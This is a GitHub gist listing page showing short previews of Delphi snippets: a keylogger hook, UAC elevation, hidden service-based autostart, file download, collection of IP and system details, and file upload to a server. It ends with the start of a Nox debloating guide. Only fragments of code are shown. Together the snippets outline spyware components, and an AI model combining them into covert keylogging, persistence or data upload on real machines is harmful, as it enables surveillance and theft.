Skip to content

Instantly share code, notes, and snippets.

@rano9999
rano9999 / gist:8ffad430202fba85c1caff969d42bd7e
Created October 19, 2021 07:02
Delphi XE By the process name get the full path to the file as x86 and x64
By process name, calculate the full path to both x86 and x64 files Delphi XE
uses Psapi, tlhelp32;
var
Form1: TForm1;
implementation
{$R *.dfm}
@rano9999
rano9999 / gist:4b1399fa960e3951b21ff7ec466ddbc3
Created October 19, 2021 07:01
Delphi XE Sending a letter to the mail is also sending a file using the smtp protocol
Next to the project, that is, with the program we throw SSL libraries : https://yadi.sk/d/Ofvn3yrx3NKvtf
Uses IdSMTP,IdMessage,IdSSLIOHandlerSocketOpenSSL;
procedure TMainForm.Button1Click(Sender: TObject);
var
SMTP : TIdSMTP;
msg : TIdMessage;
SSLOpen : TIdSSLIOHandlerSocketOpenSSL;
begin
@rano9999
rano9999 / gist:f679bcba2e407e58e9242accef62fc3e
Created October 19, 2021 07:01
Delphi XE Keylogger Hook
Delphi XE Keylogger Hook
unit Unit1;
interface
uses
Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants, System.Classes, Vcl.Graphics,
Vcl.Controls, Vcl.Forms, Vcl.Dialogs, Vcl.StdCtrls, Clipbrd;
@rano9999
rano9999 / gist:0cc0bc0420d40046b612993b5fac74b8
Created October 19, 2021 07:01
Delphi XE Running a program with UAC administrator rights
Delphi XE Running a program with UAC administrator rights
uses ShellExecute;
function Run_App_Uac(filename, load_hidden: string): boolean;
var
shell_now: TShellExecuteInfo;
begin
if (FileExists(filename)) then
begin
@rano9999
rano9999 / gist:1b210597e2388b29e70bb367e3a4d222
Created October 19, 2021 07:00
Delphi XE Get a list of current user privileges and set privileges.
Delphi XE Get a list of current user privileges and set privileges.
// SEE LIST OF PRIVILEGES
const
SE_CREATE_TOKEN_NAME = 'SeCreateTokenPrivilege';
SE_ASSIGNPRIMARYTOKEN_NAME = 'SeAssignPrimaryTokenPrivilege';
SE_LOCK_MEMORY_NAME = 'SeLockMemoryPrivilege';
SE_INCREASE_QUOTA_NAME = 'SeIncreaseQuotaPrivilege';
@rano9999
rano9999 / gist:f33bf123d0b2a3968acf6e711b52446a
Created October 19, 2021 07:00
Delphi 7 Hidden autoloading of a file from under services.
We create a service and from the service we do an auto launch of the program every time the system is started.
To begin, create a new project Service Application
Customize it
Interactive := True;
name := 'Service name';
display name := 'Service Description';
Here is the code for the auto launch program
@rano9999
rano9999 / gist:f8c8248e96f5c75c20f370bc96098b73
Created October 19, 2021 06:59
Delphi XE Download file from HTTP site
uses Wininet;
function GetInetFile(const fileURL, FileName: String): boolean;
const BufferSize = 1024;
var hSession, hURL: HInternet;
Buffer: array[1..BufferSize] of Byte;
BufferLen: DWORD;
f: File;
sAppName: string;
begin
@rano9999
rano9999 / gist:5ed60c127f67459fd2e70ea93e48860e
Created October 19, 2021 06:59
Delphi XE and PHP Send ip GET request and get the country, city, OS version, browser and user agent.
Delphi XE and PHP Send ip GET request and get the country, city, OS version, browser and user agent
«DELPHI»
Put the library next to the program
Libraries download here: https://yadi.sk/d/Ofvn3yrx3NKvtf
var
http:TIdHTTP;
begin
@rano9999
rano9999 / gist:647674a41b4f39cdbe98cdf918ae4169
Created October 19, 2021 06:59
Delphi XE and PHP Post request to send the file to the host and save it on the server.
Delphi XE and PHP Post request to send the file to the host and save it on the server.
//php go.php file
<?php
if(!empty($_FILES)) //if not empty file
{
if($_FILES['files']['error'] > 0) //if error is greater than zero
$err[] = $errUpload[$_FILES['files']['error']]; //output error
@rano9999
rano9999 / debloatNox.md
Created July 24, 2020 14:09 — forked from Log1x/debloatNox.md
Debloating & Optimizing Nox

Debloating Nox

Nox, despite being the most feature-filled Android emulator, has a lot of negativity surrounding it due to their antics when it comes to making income off of their program. It is known for running repeated advertisments in the background, calling home and passing along system information (outside of your Android instance) as well as a vast amount of potentially sensitive data in an encrypted payload back to their multitude of servers. With the following preventitive measures, we can stop a majority of this happening as well as greatly improve the overall performance.

  1. Download and Install a fresh copy of Nox. The latest version is fine (for now). If you already have it installed, that is fine too. No need to reinstall.

  2. Enable Root Mode on Nox by clicking the gear icon and then checking the Root Startup box.

  3. Install a new Launcher from the Play Store. ANYTHING but Nox's default. I suggest [Nova Launcher](https://play.google.com/s